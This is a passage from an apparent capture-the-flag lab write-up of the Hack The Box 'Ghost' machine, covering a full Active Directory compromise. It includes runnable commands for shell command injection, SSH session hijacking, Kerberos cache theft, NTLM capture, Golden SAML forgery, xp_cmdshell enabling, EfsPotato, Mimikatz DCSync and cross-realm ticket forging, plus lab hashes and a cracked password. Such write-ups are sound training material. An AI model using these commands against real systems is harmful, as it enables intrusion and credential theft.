The GHOST$ value is the interdomain trust-account secret and is the value required for forging the cross-realm ticket.

27. Domain SID Collection

From the SYSTEM shell:

Import-Module ActiveDirectory
 
(Get-ADDomain -Identity corp.ghost.htb).DomainSID.Value
(Get-ADDomain -Identity ghost.htb).DomainSID.Value

Results:

Child domain SID:
S-1-5-21-2034262909-2733679486-179904498
Parent domain SID:
S-1-5-21-4084500788-938703357-3654145966

The parent-domain Enterprise Admins SID is:

S-1-5-21-4084500788-938703357-3654145966-519

Required values:

Trust hash:
8351e6db369c51ca82067f560ca5b53a
 
Child SID:
S-1-5-21-2034262909-2733679486-179904498
 
Parent Enterprise Admins SID:
S-1-5-21-4084500788-938703357-3654145966-519

28. Impacket 0.12 Compatibility Environment

The system Impacket version initially failed to select the forged interdomain TGT correctly from the credential cache.

An isolated Impacket 0.12 environment was created:

cd ~/tools
 
uv venv --python 3.9 impacket-012
source ~/tools/impacket-012/bin/activate
 
uv pip install 'impacket==0.12.0'

Impacket 0.12 still imports pkg_resources, which newer Setuptools releases removed.

Pin a compatible version:

uv pip install \
  --python ~/tools/impacket-012/bin/python \
  'setuptools==80.9.0'

Verify:

python -c 'import pkg_resources; from impacket import version; print(version.BANNER)'

Expected:

Impacket v0.12.0

A deprecation warning about pkg_resources can be ignored inside this isolated compatibility environment.

29. Forging the Interdomain Ticket

Switch to Parrot:

source ~/tools/impacket-012/bin/activate
cd ~/htb/ghost

Create a forged cross-realm ticket:

~/tools/impacket-012/bin/ticketer.py \
  -nthash 8351e6db369c51ca82067f560ca5b53a \
  -domain-sid S-1-5-21-2034262909-2733679486-179904498 \
  -domain corp.ghost.htb \
  -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
  -spn krbtgt/ghost.htb \
  ghostadmin

Result:

Saving ticket in ghostadmin.ccache

Load:

export KRB5CCNAME="$(realpath ghostadmin.ccache)"
klist

Expected:

Default principal:
ghostadmin@CORP.GHOST.HTB
 
Service principal:
krbtgt/ghost.htb@CORP.GHOST.HTB

The username ghostadmin is a synthetic identity inside the forged ticket and does not need to correspond to an existing user.

30. Obtaining a Parent-Domain CIFS Ticket

The initial identity syntax caused getST.py to search the cache for:

KRBTGT/CORP.GHOST.HTB@CORP.GHOST.HTB

That was wrong. The cache contained:

krbtgt/ghost.htb@CORP.GHOST.HTB

The working identity argument used the parent realm directly:

ghost.htb/ghostadmin

Request the CIFS ticket:

KRB5CCNAME="$(realpath ghostadmin.ccache)" \
~/tools/impacket-012/bin/getST.py \
  -k \
  -no-pass \
  -spn cifs/dc01.ghost.htb \
  -dc-ip 10.129.231.105 \
  'ghost.htb/ghostadmin' \
  -debug

Successful output:

Getting ST for user
Trying to connect to KDC at 10.129.231.105:88
Saving ticket in ghostadmin@cifs_dc01.ghost.htb@GHOST.HTB.ccache

Load the new service ticket:

export KRB5CCNAME="$(
  realpath "$(ls -t *cifs*.ccache | head -1)"
)"
 
klist

Expected:

cifs/dc01.ghost.htb@GHOST.HTB

Important gotcha:

The failed form was:

corp.ghost.htb/ghostadmin@ghost.htb

That caused Impacket to search for the child-domain TGT and eventually fall back to requesting a new TGT for the fake user.

The working form was:

ghost.htb/ghostadmin

31. Parent Domain Controller Access

Connect with the forged CIFS ticket:

~/tools/impacket-012/bin/smbclient.py \
  -k \
  -no-pass \
  ghostadmin@dc01.ghost.htb

Inside the SMB shell:

shares
use C$
cd Users\Administrator\Desktop
ls
get root.txt

Read locally:

cat root.txt

This completed the machine.

Optional command execution:

~/tools/impacket-012/bin/psexec.py \
  -k \
  -no-pass \
  ghostadmin@dc01.ghost.htb

Expected context:

nt authority\system
DC01

đź”— Condensed Attack Chain

Initial Nmap scan ↓ DC services plus Ghost CMS, intranet, Gitea, AD FS, MSSQL, and custom app exposed ↓ Intranet LDAP login tested ↓ Wildcard values accepted for username and secret ↓ JWT issued as kathryn.holland ↓ Intranet behavior used as oracle ↓ gitea_temp_principal secret recovered ↓ Password reuse gives access to internal Gitea ↓ Repositories ghost-dev/blog and ghost-dev/intranet reviewed ↓ Custom posts-public.js extra parameter identified ↓ Path traversal reads /proc/self/environ ↓ DEV_INTRANET_KEY recovered ↓ Intranet source reveals POST /api-dev/scan ↓ X-DEV-INTRANET-KEY required ↓ url inserted into bash -c command ↓ Shell metacharacters provide command injection ↓ Root-controlled filesystem paths enumerated ↓ Active SSH ControlMaster socket found ↓ Existing Florence Ramirez SSH session reused ↓ Access to LINUX-DEV-WS01 ↓ Florence’s /tmp/krb5cc_50 stolen ↓ Kerberos-authenticated SMB enumeration ↓ Writable SMB location identified ↓ slinky shortcut planted ↓ Responder captures Justin Bradley NetNTLMv2 ↓ Hashcat cracks Qwertyuiop1234$$ ↓ WinRM as Justin Bradley ↓ user.txt recovered ↓ BloodHound shows ReadGMSAPassword over ADFS_GMSA$ ↓ gMSA NT hash recovered ↓ WinRM pass-the-hash as ADFS_GMSA$ ↓ Direct MSSQL enumeration lands as guest ↓ No useful impersonation and xp_cmdshell denied ↓ ADFSDump compiled and run on AD FS host ↓ Two DKM candidates and encrypted signing PFX recovered ↓ ADFSDump output saved with large Out-File width ↓ Encrypted PFX and DKM keys extracted locally ↓ Python 3.9 ADFSpoof environment created ↓ DKM candidate 1 fails MAC validation ↓ DKM candidate 2 decrypts signing PFX ↓ Administrator SAML assertion forged ↓ Normal Justin SAML flow intercepted through Burp ↓ POST /adfs/saml/postResponse modified ↓ Forged SAML response accepted ↓ Administrator Ghost Config Panel session obtained ↓ SQL debugger runs locally as web_client ↓ Linked server PRIMARY maps to bridge_corp ↓ bridge_corp can impersonate sa ↓ xp_cmdshell enabled remotely ↓ OS execution as NT SERVICE\MSSQLSERVER on PRIMARY ↓ Netcat downloaded but quarantined ↓ Harmless probe confirms transfer path ↓ Fileless encoded PowerShell reverse shell ↓ SeImpersonatePrivilege confirmed ↓ EfsPotato downloaded as source ↓ Compiled locally with csc.exe ↓ SYSTEM process execution confirmed ↓ Interactive SYSTEM shell obtained on port 4455 ↓ PRIMARY identified as corp.ghost.htb child-domain host ↓ Mimikatz DCSync against child domain ↓ GHOST$ interdomain trust hash recovered ↓ Child and parent domain SIDs collected ↓ Parent Enterprise Admins SID constructed with RID 519 ↓ Cross-realm krbtgt/ghost.htb ticket forged ↓ CIFS service ticket requested for dc01.ghost.htb ↓ SMB access to parent DC C$ share ↓ root.txt recovered

đź§  Key Takeaways

LDAP wildcard behavior can become an authentication bypass when application code treats the first matching directory result as the authenticated user.

A JWT is only evidence of the application’s decision. It does not prove the submitted LDAP credentials were legitimate.

Temporary service principals are high-value. Even if they cannot access the operating system, they may expose private repositories and deployment secrets.

Source review should focus on trust boundaries: filesystem paths, environment variables, shell invocation, internal headers, and authentication decisions.

Configuration and environment disclosure often matter more than direct flag reads. /proc/self/environ exposed the exact development key required by the next application.

Passing user input into bash -c is command injection even if the input is expected to be a URL.

An SSH ControlMaster socket is effectively a live authenticated session. Possession of the socket can be equivalent to possession of the user’s SSH credential.

Kerberos caches under /tmp/krb5cc_* should be checked immediately after compromising a Linux workstation joined to Active Directory.

A Kerberos TGT can unlock SMB, LDAP, BloodHound, and lateral movement without recovering a plaintext password.

A writable SMB share can become a credential-capture primitive through malicious shortcuts, SCF files, or other UNC-loading formats.

NetNTLMv2 is not an NT hash. It must be cracked or relayed before use.

ReadGMSAPassword is frequently equivalent to account compromise. The resulting managed password can be converted to an NT hash and used with pass-the-hash where the account has logon rights.

Direct MSSQL access may be a dead end even when authentication succeeds. Landing as guest with no impersonation rights should trigger a stop condition.

Service identities are often more valuable for the services they control than for their local group memberships. ADFS_GMSA$ could access the AD FS signing configuration.

Golden SAML is application-independent within the affected AD FS trust. Once the signing key is compromised, assertions can be forged without knowing the target user’s password.

Always capture full ADFSDump output to disk. Long encrypted values are easy to truncate in an interactive terminal.

When multiple DKM values are returned, authenticated decryption provides a reliable test. A MAC mismatch rules out the candidate.

Do not paste shell commands into Burp parameters. Paste the command’s output.

Existing service-provider cookies can prevent a new SAML flow from occurring. Clear both service-provider and identity-provider session data.

A linked MSSQL server can change identity. The local login was web_client, while the remote mapping was bridge_corp.

IMPERSONATE sa over a linked server is effectively remote SQL sysadmin access.

An HTTP 200 only proves the payload was transferred. Endpoint protection may delete it immediately afterward.

Harmless probe files are useful for distinguishing permissions/network problems from antivirus removal.

Web application timeouts do not necessarily mean OS-level commands failed. Check listeners and side effects before rerunning payloads.

NT SERVICE\MSSQLSERVER is not Administrator, even when the SQL login was sa.

SeImpersonatePrivilege should immediately trigger testing of a current named-pipe impersonation technique in an authorized lab.

Raw reverse shells may not preserve PowerShell multiline continuation syntax. Use one-line commands when compiling or launching tools.

SYSTEM on a child-domain controller does not automatically mean compromise of the forest root or parent-domain controller.

Interdomain trust accounts such as GHOST$ contain cryptographic material that can be used to construct cross-realm Kerberos tickets.

The domain SID used for normal ticket fields and the extra SID used for Enterprise Admins belong to different domains in this attack.

The Enterprise Admins RID is:

519

Kerberos cache selection depends on the requested realm and principal syntax. A valid ticket can be ignored if Impacket searches for the wrong krbtgt SPN.

The final working getST.py identity was:

ghost.htb/ghostadmin

not:

corp.ghost.htb/ghostadmin@ghost.htb

⚡ Commands Cheat Sheet

Host setup

echo '10.129.231.105 ghost.htb DC01.ghost.htb core.ghost.htb intranet.ghost.htb gitea.ghost.htb bitbucket.ghost.htb federation.ghost.htb' \
  | sudo tee -a /etc/hosts

Nmap

sudo nmap -sC -sV -vv \
  -oA nmap/ghost \
  10.129.231.105
sudo nmap -p- --min-rate=800 -T3 -vv \
  -oA nmap/ghost-full \
  10.129.231.105

Development key command injection

curl -s -X POST \
  'http://intranet.ghost.htb:8008/api-dev/scan' \
  -H 'Content-Type: application/json' \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
  --data '{"url":"http://127.0.0.1; id"}'

ControlMaster reuse

SOCK='/root/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22'
 
ssh -S "$SOCK" \
  florence.ramirez@dev-workstation

Kerberos cache

KRB5CCNAME=FILE:/tmp/krb5cc_50 klist
base64 -w0 /tmp/krb5cc_50
echo '[BASE64]' | base64 -d > florence.ccache
export KRB5CCNAME="$(realpath florence.ccache)"
klist

Responder and slinky

sudo responder -I tun0 -v
nxc smb dc01.ghost.htb \
  -k \
  --use-kcache \
  -M slinky \
  -o SERVER=10.10.14.52 NAME=important

Hashcat

hashcat -m 5600 bradley.hash [WORDLIST]
hashcat -m 5600 bradley.hash --show

WinRM as Justin

evil-winrm \
  -i dc01.ghost.htb \
  -u 'justin.bradley' \
  -p 'Qwertyuiop1234$$'

Retrieve gMSA

nxc ldap dc01.ghost.htb \
  -u 'justin.bradley' \
  -p 'Qwertyuiop1234$$' \
  --gmsa

WinRM as ADFS gMSA

evil-winrm \
  -i dc01.ghost.htb \
  -u 'ADFS_GMSA$' \
  -H '16b9766667b1e9f8d4c315a11707c497'

Build ADFSDump

cd ~/tools/ad
git clone https://github.com/mandiant/ADFSDump.git
cd ADFSDump
xbuild ADFSDump.sln /p:Configuration=Release

Save ADFSDump output

.\ADFSDump.exe |
  Out-File .\adfsdump.txt -Encoding ascii -Width 20000

Extract encrypted signing blob

awk '
/Encrypted Token Signing Key Begin/ {capture=1; next}
/Encrypted Token Signing Key End/   {capture=0}
capture
' adfsdump.txt |
tr -d '\r\n ' > saml/encrypted_pfx.b64
 
base64 -d saml/encrypted_pfx.b64 \
  > saml/encrypted_pfx.bin

Convert DKM key

echo '[HYPHENATED_DKM_KEY]' |
tr -d '-' |
xxd -r -p > saml/dkm.bin

ADFSpoof environment

uv python install 3.9
uv venv --python 3.9 .venv
source .venv/bin/activate
uv pip install -r requirements-py39.txt

Decrypt PFX

python ADFSpoof.py \
  -b ~/htb/ghost/saml/encrypted_pfx.bin \
     ~/htb/ghost/saml/dkm2.bin \
  dump \
  --path ~/htb/ghost/saml/token2.pfx

Forge SAML

python ADFSpoof.py \
  -b ~/htb/ghost/saml/encrypted_pfx.bin \
     ~/htb/ghost/saml/dkm2.bin \
  -s core.ghost.htb \
  saml2 \
  --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
  --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
  --nameid 'Administrator@ghost.htb' \
  --rpidentifier 'https://core.ghost.htb:8443' \
  --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' \
  | tail -n 1 \
  > ~/htb/ghost/saml/administrator_saml.txt

Linked SQL identities

SELECT CURRENT_USER AS result;
EXEC sp_linkedservers;
SELECT *
FROM OPENQUERY(
  "PRIMARY",
  'SELECT CURRENT_USER AS result'
);

Enable xp_cmdshell

EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC sp_configure "show advanced options", 1;
RECONFIGURE;
EXEC sp_configure "xp_cmdshell", 1;
RECONFIGURE;
') AT [PRIMARY];

Confirm OS identity

EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell "whoami";
') AT [PRIMARY];

EfsPotato compile

& 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /out:C:\ProgramData\EfsPotato.exe C:\ProgramData\EfsPotato.cs /nowarn:1691,618

EfsPotato SYSTEM proof

C:\ProgramData\EfsPotato.exe "cmd.exe /c whoami > C:\ProgramData\system-check.txt"
Get-Content C:\ProgramData\system-check.txt

Child-domain DCSync

& C:\ProgramData\m.exe "lsadump::dcsync /domain:corp.ghost.htb /all /csv" "exit" |
  Tee-Object C:\ProgramData\dcsync.txt

Domain SIDs

Import-Module ActiveDirectory
 
(Get-ADDomain -Identity corp.ghost.htb).DomainSID.Value
(Get-ADDomain -Identity ghost.htb).DomainSID.Value

Forge cross-realm ticket

~/tools/impacket-012/bin/ticketer.py \
  -nthash 8351e6db369c51ca82067f560ca5b53a \
  -domain-sid S-1-5-21-2034262909-2733679486-179904498 \
  -domain corp.ghost.htb \
  -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
  -spn krbtgt/ghost.htb \
  ghostadmin

Request CIFS ticket

export KRB5CCNAME="$(realpath ghostadmin.ccache)"
 
~/tools/impacket-012/bin/getST.py \
  -k \
  -no-pass \
  -spn cifs/dc01.ghost.htb \
  -dc-ip 10.129.231.105 \
  'ghost.htb/ghostadmin' \
  -debug

Parent DC SMB access

export KRB5CCNAME="$(
  realpath "$(ls -t *cifs*.ccache | head -1)"
)"
~/tools/impacket-012/bin/smbclient.py \
  -k \
  -no-pass \
  ghostadmin@dc01.ghost.htb

Inside:

shares
use C$
cd Users\Administrator\Desktop
ls
get root.txt

đź§­ Diagnostic Map

Symptom: LDAP login succeeds with * values Meaning: Application LDAP query accepts wildcard matching Next: Decode the issued JWT and enumerate authenticated functionality

Symptom: JWT identifies kathryn.holland Meaning: Application selected an LDAP record and treated it as authenticated Next: Use the authenticated application as an oracle and enumerate internal principals

Symptom: Gitea principal works only against internal Gitea Meaning: It is an application/service credential, not necessarily an OS account Next: Review private repositories for trust-boundary flaws

Symptom: posts-public.js reads from /var/lib/ghost/extra/ Meaning: Custom filesystem behavior exists in the Ghost content API Next: Test traversal through extra

Symptom: /proc/self/environ is readable Meaning: Process environment and deployment secrets are exposed Next: Search for API keys, database credentials, JWT secrets, and internal hostnames

Symptom: DEV_INTRANET_KEY is present Meaning: Protected development API can be called Next: Review source for the exact header and endpoint

Symptom: url is inserted into bash -c Meaning: Shell command injection Next: Prove with id before launching a shell

Symptom: Active file exists under /root/.ssh/controlmaster/ Meaning: Reusable authenticated SSH master connection may exist Next: Use ssh -S <socket> -O check

Symptom: SSH opens without a password Meaning: ControlMaster hijack succeeded Next: Enumerate identity, host, tickets, and caches

Symptom: /tmp/krb5cc_50 contains Florence’s TGT Meaning: Florence’s domain identity can be reused Next: Exfiltrate the cache and use Kerberos-aware tooling

Symptom: SMB shortcut causes Responder authentication Meaning: A user browsed or rendered the malicious link Next: Save the complete NetNTLMv2 line and crack with mode 5600

Symptom: Hashcat says token-length or separator error Meaning: Captured hash was wrapped or truncated Next: Save it as one uninterrupted line

Symptom: Justin WinRM works Meaning: Valid domain foothold and user flag access Next: Run BloodHound and inspect outbound rights

Symptom: BloodHound shows ReadGMSAPassword Meaning: Justin can retrieve the gMSA managed secret Next: Use NetExec --gmsa

Symptom: gMSA hash works with SMB but not WinRM Meaning: Account may lack Remote Management Users or logon rights Next: Validate supported protocols individually

Symptom: Evil-WinRM rejects the gMSA hash Meaning: Wrong option or account syntax may be used Next: Preserve $ and use -H, not -p

Symptom: MSSQL login lands as guest@master Meaning: Authentication succeeded but SQL privileges are minimal Next: Run enum_impersonate and enum_links; stop if both are unhelpful

Symptom: xp_cmdshell returns permission denied Meaning: Direct gMSA SQL context is not sysadmin Next: Pivot to the AD FS signing-key path

Symptom: ADFSDump terminal output appears truncated Meaning: Encrypted signing-key blob exceeded terminal width/history Next: Redirect through Out-File -Width 20000

Symptom: download appended to PowerShell command errors Meaning: Evil-WinRM’s download is a client command, not PowerShell syntax Next: Run Out-File and download as separate commands

Symptom: ADFSpoof install fails on cryptography==2.9.2 Meaning: Original dependency is incompatible with Python 3.13 Next: Use isolated Python 3.9 and compatible pins

Symptom: Resolver says signxml==2.6.0 conflicts with cryptography 3.4.8 Meaning: signxml requires cryptography<3 Next: Use compatible signxml==2.9.0 and pyOpenSSL==20.0.1

Symptom: Calculated MAC did not match anticipated MAC Meaning: Wrong DKM candidate Next: Test the next 32-byte DKM key

Symptom: file token2.pfx says only data Meaning: Generic file detection is inconclusive Next: Validate with openssl pkcs12

Symptom: Browser immediately loads /unauthorized as Justin Meaning: Existing connect.sid bypassed the fresh SAML flow Next: Clear cookies or open a clean Burp browser

Symptom: Burp shows GET / only Meaning: Authentication flow has not completed Next: Follow redirects and submit a legitimate AD FS login

Symptom: Burp intercepts /adfs/ls/?SAMLRequest=... Meaning: This is the request entering AD FS Next: Forward unchanged and wait for /adfs/saml/postResponse

Symptom: Body says SAMLResponse=cat ~/... Meaning: Shell command was pasted literally Next: Copy the file contents with xclip and paste the encoded token

Symptom: New connect.sid is issued Meaning: Forged SAML assertion was accepted Next: Forward the follow-up GET /

Symptom: SQL current user is web_client Meaning: Application uses a constrained local SQL login Next: Enumerate linked servers

Symptom: Remote identity becomes bridge_corp Meaning: Linked-server login mapping changes the security context Next: Enumerate remote impersonation permissions

Symptom: bridge_corp can impersonate sa Meaning: Remote SQL sysadmin takeover Next: Enable xp_cmdshell under EXECUTE AS LOGIN='sa'

Symptom: Web panel returns an empty result after sp_configure Meaning: Configuration statements completed without a recordset Next: Verify with xp_cmdshell whoami

Symptom: HTTP server logs GET /nc64.exe 404 Meaning: Hosted filename does not match requested filename Next: Rename nc.exe to nc64.exe

Symptom: HTTP server logs 200 but dir says File Not Found Meaning: Endpoint protection likely quarantined the executable Next: Transfer a harmless probe and switch to a fileless payload

Symptom: Web SQL request times out Meaning: Reverse-shell process may still be active Next: Check the listener before retrying

Symptom: Reverse shell reports NT SERVICE\MSSQLSERVER Meaning: OS execution succeeded, but shell is not Administrator Next: Inspect whoami /priv

Symptom: SeImpersonatePrivilege is enabled Meaning: Named-pipe token impersonation may yield SYSTEM Next: Use EfsPotato in the authorized lab

Symptom: C# compiler says no source files specified Meaning: Multiline continuation failed in the raw reverse shell Next: Compile with one continuous command

Symptom: EfsPotato output says process created Meaning: SYSTEM child process likely launched Next: Redirect whoami to a file and read it

Symptom: Current shell still says MSSQLSERVER after EfsPotato Meaning: EfsPotato created a child; it did not replace the parent shell Next: Launch a second reverse shell through EfsPotato

Symptom: Port-444 shell hangs while EfsPotato runs Meaning: Parent process remains attached Next: Check the separate port-4455 SYSTEM listener

Symptom: root.txt cannot be found on PRIMARY Meaning: PRIMARY is the child-domain host, not the final parent DC Next: Extract the interdomain trust secret

Symptom: Mimikatz returns hashes for corp.ghost.htb Meaning: DCSync against the child domain succeeded Next: Isolate GHOST$, not only Administrator

Symptom: GHOST$ hash is present Meaning: Interdomain trust key is compromised Next: Collect both domain SIDs and forge a cross-realm ticket

Symptom: getST.py searches for KRBTGT/CORP.GHOST.HTB Meaning: Identity syntax is causing the wrong cache lookup Next: Use ghost.htb/ghostadmin

Symptom: pkg_resources is missing in Impacket 0.12 venv Meaning: Setuptools is too new Next: Pin setuptools==80.9.0

Symptom: CIFS ticket appears in klist Meaning: Parent-domain service-ticket acquisition succeeded Next: Connect with Kerberos SMB and access C$

Field-manual techniques demonstrated on Ghost:

📝 Personal Notes

Ghost was the most complex machine in the track so far because each successful step crossed into a different trust boundary.

The initial scan exposed a huge number of services, but most of them were normal domain-controller infrastructure. The actionable attack surface was the set of custom applications running beside Active Directory.

The LDAP login bypass was subtle because it did not produce a shell or a credential. It produced an application session as Kathryn Holland. The useful lesson was to treat the session as an entry into the application’s internal workflow instead of expecting the bypass itself to compromise the domain.

The temporary Gitea principal was another intermediate identity. Its value was access to source code. The source review was what converted a weak application foothold into a reliable path.

The modified posts-public.js file was the first decisive source-code finding. The extra feature looked like harmless custom functionality, but the filesystem path handling allowed traversal into /proc/self/environ.

Reading /proc/self/environ was more valuable than reading /etc/passwd. It exposed the exact DEV_INTRANET_KEY required by the protected development API.

The intranet scan endpoint was a textbook example of why shell wrappers are dangerous. The submitted url value was interpreted in a shell context instead of being handled as inert data.

The SSH ControlMaster discovery was one of the strongest Linux lateral-movement lessons. No password or key was recovered. The active socket itself represented Florence’s authenticated session.

Florence’s Kerberos cache was then a second reusable session artifact. The SSH connection moved us onto the workstation, and the TGT moved us into the Windows domain.

The Justin capture path reinforced that access does not always need to become direct exploitation. Florence’s permissions were enough to place content in a location Justin would access. Windows then voluntarily authenticated to the attacker.

The captured value had to be treated correctly as NetNTLMv2. It was not a reusable NT hash. Hashcat recovered a real password, and that password provided the first conventional Windows shell.

BloodHound immediately justified itself. Justin’s most important right was not local admin or an obvious group membership. It was ReadGMSAPassword over the AD FS service account.

The first MSSQL session was a genuine dead end. Authentication succeeded, but the security context was only guest. The correct response was to enumerate, document the linked server, and stop instead of forcing xp_cmdshell from an account that clearly lacked the permission.

ADFSDump was operationally awkward because its encrypted output was extremely large. Saving it through Out-File -Width 20000 and downloading it was much more reliable than copying from the terminal.

The two DKM values provided a clean decision point. The first failed MAC validation. The second produced a valid PKCS#12 container. That removed guesswork from the decryption stage.

ADFSpoof required a temporary Python 3.9 compatibility environment. This was a useful reminder that exploit tooling frequently depends on old package combinations and should be isolated rather than forced into the main system Python.

The Golden SAML stage was conceptually simple but operationally fragile. The correct POST had to be intercepted, the existing Justin session had to be cleared, and the contents of the forged-response file had to be pasted rather than the shell command used to read it.

The Ghost Config Panel was the point where the earlier MSSQL linked-server clue became useful. The direct gMSA login was weak, but the web application’s local login mapped to bridge_corp on PRIMARY.

The identity transitions mattered:

web_client
→ bridge_corp
→ sa
→ NT SERVICE\MSSQLSERVER
→ NT AUTHORITY\SYSTEM

Each transition required a different mechanism and should be documented separately.

The Netcat transfer was a useful troubleshooting case. The HTTP 200 showed that network access and the output path were correct. The missing executable indicated endpoint protection. The harmless probe file confirmed that conclusion.

The web application timing out during the PowerShell payload initially looked like failure. The listener proved otherwise. The correct diagnostic order was to check side effects before changing the payload.

The EfsPotato stage also required careful identity tracking. The current shell remained MSSQLSERVER while the child command ran as SYSTEM. A separate reverse shell was required to obtain an interactive SYSTEM context.

Finding no root.txt on PRIMARY was not another dead end. It revealed that SYSTEM had been obtained on the child-domain host rather than the final parent-domain controller.

The DCSync output contained several powerful hashes, but the critical one was GHOST$. The child-domain Administrator hash would only compromise the child domain. The trust account secret was what made parent-domain escalation possible.

The final Kerberos stage was the most syntax-sensitive part of the machine. The forged ticket itself was correct, but getST.py initially searched for the wrong krbtgt principal because of the identity format.

Changing:

corp.ghost.htb/ghostadmin@ghost.htb

to:

ghost.htb/ghostadmin

caused Impacket to use the cached cross-realm ticket and successfully request CIFS access to DC01.

Overall methodology:

Enumerate the custom applications separately from the domain-controller services. Test authentication logic, not only credentials. Review source code for trust boundaries. Prefer environment and configuration disclosure over random file reads. Treat active sockets and Kerberos caches as credentials. Use writable shares to influence higher-value users. Distinguish NetNTLMv2 from NT hashes. Run BloodHound immediately after obtaining a domain user. Time-box weak SQL contexts. Protect large binary or Base64 output from terminal truncation. Track every identity transition. Use harmless probes to distinguish network, permissions, and antivirus failures. Remember that child-domain SYSTEM is not forest-root compromise. For cross-domain Kerberos work, verify the exact service principal in klist after every ticket operation.